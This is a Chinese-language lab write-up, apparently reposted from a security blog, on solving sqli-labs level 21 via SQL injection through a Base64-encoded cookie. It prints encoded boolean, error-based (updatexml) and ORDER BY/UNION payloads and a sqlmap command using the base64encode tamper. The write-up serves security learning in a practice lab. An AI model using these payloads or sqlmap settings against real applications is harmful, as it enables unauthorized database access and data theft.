当SQL注入遇上Base64和字符集:sqli-labs第21关深度拆解

admin 2026-01-13 14:26:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细拆解了SQL注入靶场第21关,重点分析Cookie中Base64编码注入与字符集冲突问题。通过解决GBK与Latin1字符集不匹配报错,确定需将Payload进行Base64编码。成功验证了布尔盲注、报错注入及联合查询,并使用sqlmap的base64encode脚本辅助测试。文章强调了理解数据解码与执行流程在渗透测试中的重要性。 综合评分: 90 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全工具


admin'  base64编码后为 YWRtaW4n

可以看到编码后的数据可以引起报错:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”admin”) LIMIT 0,1′ at line 1

从报错信息可以看到闭合符号中有括号参与,于是直接构造

admin')   Base64编码后YWRtaW4nKSA=admin') or 1=1 #     base64编码后YWRtaW4nKSBvciAxPTEgIw==

可以看到or为真的条件没有引入语法错误,能够正常登录成功,说明语法闭合正确。

当然我们可以用and来进一步验证

admin') and 1=1 #   base64编码后YWRtaW4nKSBhbmQgMT0xICM=admin') and 1=2 #   base64编码后YWRtaW4nKSBhbmQgMT0yICM=

可以看到1=1能够正常登录,1=2条件登录失败。可以得出结论闭合符号为单引号+括号。

因页面有明显登录成功和失败两种差别,可以判断有布尔盲注,自然也就有了时间盲注。

再判断是否有XPATH显错注入:

admin') and updatexml(1,concat(0x7e,database(),0x7e),1) #base64编码后为YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSAj

可以看到有XPATH数据显示,明显判断有显错注入。

基于好奇,我想看看是否有union等注入,于是我先手动测试查询位

admin') order by 1 #  base64编码后为  YWRtaW4nKSBvcmRlciBieSAxICM=admin') order by 2 #  base64编码后为  YWRtaW4nKSBvcmRlciBieSAyICM=admin') order by 3 #  base64编码后为  YWRtaW4nKSBvcmRlciBieSAzICM=admin') order by 4 #  base64编码后为  YWRtaW4nKSBvcmRlciBieSA0ICM=

可以看出查询列数共3列。于是看看是否有显示位可以利用。

通过实验可以得知,可利用union查询,显示位为1,并能够成功注入显示数据库信息。

这也从侧面印证了: 第 21 关的核心 SQL 语句仍然是 SELECT,而非前几关的 INSERT,因此 UNION 查询依然可行。

#

四、再次利用sqlmap来验证。

这里需要注意的是,在sqlmap参数输入的时候,需要添加–tamper “base64encode.py”

python sqlmap.py -u "http://192.168.68.172:8080/Less-21/index.php" --cookie="uname=YWRtaW4=" --tamper "base64encode.py" --level=2  --risk=2 --batch

#

可以看到

sqlmap跑出来的结果和我们前面判断一致:boolean-based blind、error-based、time-based blind、UNION query。

#

结语:

第 21 关给我的最大收获,并不是“Base64 编码本身”,而是让我第一次真正意识到:

SQL 注入并不是简单的“拼 payload”,而是一场关于数据形态、编码方式和执行顺序的博弈。

在这一关中:

  • Base64 编码隐藏了真实输入
  • 字符集规则阻断了直接注入
  • 只有理解 解码 → 比较 → 执行 的完整流程,才能继续推进

这也是我在学习 sqli-labs 过程中,第一次明显感觉到: 思路比工具重要,理解比套路重要。

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安《当 SQL 注入遇上 Base64 和字符集:sqli-labs 第 21 关深度拆解》

截图神器-ShareX 网络安全文章

截图神器-ShareX

文章总结: ShareX是Windows平台免费开源的屏幕截图与录制工具,支持滚动截图及多种录制模式。核心优势在于高度定制与自动化工作流,如自动上传图床、OCR
评论:0   参与:  0